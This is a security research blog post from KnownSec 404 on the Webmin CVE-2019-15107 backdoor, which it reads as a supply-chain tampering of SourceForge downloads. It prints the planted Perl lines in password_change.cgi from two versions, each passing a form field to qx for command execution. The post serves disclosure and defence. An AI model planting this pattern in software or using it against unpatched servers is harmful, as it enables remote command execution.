The stories behind Webmin CVE-2019–15107

3 min readAug 20, 2019

by Heige(a.k.a Superhei) of KnownSec 404 Team 08/20/2019

Recently, our KnownSec 404 team followed the CVE-2019–15107 vulnerability and found some interesting things. I think there may be more legendary stories behind it.

* CVE-2019–15107 is an artificial backdoor and a typical case for supply chain attacks , not only a traditional RCE vulnerability.

When we retested this “vulnerability”, we found that only the sourceforge download link( ) provided on the official website had problems, and the code on the official github was very secure.

Here we have reason to speculate that Webmin’s official sourceforge has been maliciously controlled. This is probably a typical case for supply chain attacks.

* The attacker deploys the backdoor code twice

When we used the Pocsuite( ) + ZoomEye( ) api for vulnerability testing, we found that the success rate was very low : in the discussion on Twitter @faker_ mentions a message and points out the differences in the Webmin 1.890 release:

We found their differences through diff version 1.890 and version 1.900 code both download from sourceforge link

diff version 1.890 and version 1.900

Very star attacker made a second tampering.

First tampering

/webmin-1.890/password_change.cgi code on 1.890

# password_change.cgi
# Actually update a user’s password by directly modifying /etc/shadow

BEGIN { push(@INC, “.”); };
use WebminCore;

$ENV{‘MINISERV_INTERNAL’} || die “Can only be called by”;

### blackdoor here! ps: qx function in perl is a alternative to using back-quotes to execute system commands
### Executing the command in the die statement, I think this can’t be a normal programmer’s action.

$in{‘expired’} eq ‘’ || die $text{‘password_expired’},qx/$in{‘expired’}/;

# Validate inputs
$in{‘new1’} ne ‘’ || &pass_error($text{‘password_enew1’});
$in{‘new1’} eq $in{‘new2’} || &pass_error($text{‘password_enew2’});

Second tampering

/webmin-1.900/password_change.cgi code on 1.900

### Pay attention to this statement, this logic should be the code for Webmin to upgrade normally.
$miniserv{‘passwd_mode’} == 2 || die “Password changing is not enabled!”;

if ($wuser) {
# Update Webmin user’s password
$enc = &acl::encrypt_password($in{‘old’}, $wuser->{‘pass’});
### blackdoor here!! The general command execution function qx exists in the die statement.
$enc eq $wuser->{‘pass’} || &pass_error($text{‘password_eold’},qx/$in{‘old’}/);


In the second code tampering, the attacker should not consider the 1.900 code upgrade logic. Password changing must be enabled by configuration to trigger the backdoor code, which is not enabled by default.

This is why we have a low success rate in the earliest tests ( ), So we then tested the impact of the 1.890 version of the back door ( ) and significant improvement in success rate

At the same time, we also saw some articles and community discussions reached the same conclusion :

Finally, I want to say that this attack is to tamper with the code through the attack code hosting download site. This kind of supply chain attack is not the first time.

We opened a project called WAM( last year that can monitor application code changes, and then monitor backdoor code or bug fix code.

The WAM project was first launched in 2012. In history, we found a lot of code tampering with the backdoor case, including the 2012 phpmyadmin official sourceforge code package was implanted in the backdoor code, very familiar with this webmin case ( )

Introducing WAM at XCon 2015

contact me